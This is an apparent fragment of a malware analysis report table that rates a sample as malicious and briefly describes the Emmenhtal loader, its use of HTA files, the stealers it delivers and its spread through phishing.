| Verdict: | Malicious activity |
| Threats: | First identified in 2024, Emmenhtal operates by embedding itself within modified legitimate Windows binaries, often using HTA (HTML Application) files to execute malicious scripts. It has been linked to the distribution of malware such as CryptBot and Lumma Stealer. Emmenhtal is typically disseminated through phishing campaigns, including fake video downloads and deceptive email attachments. |
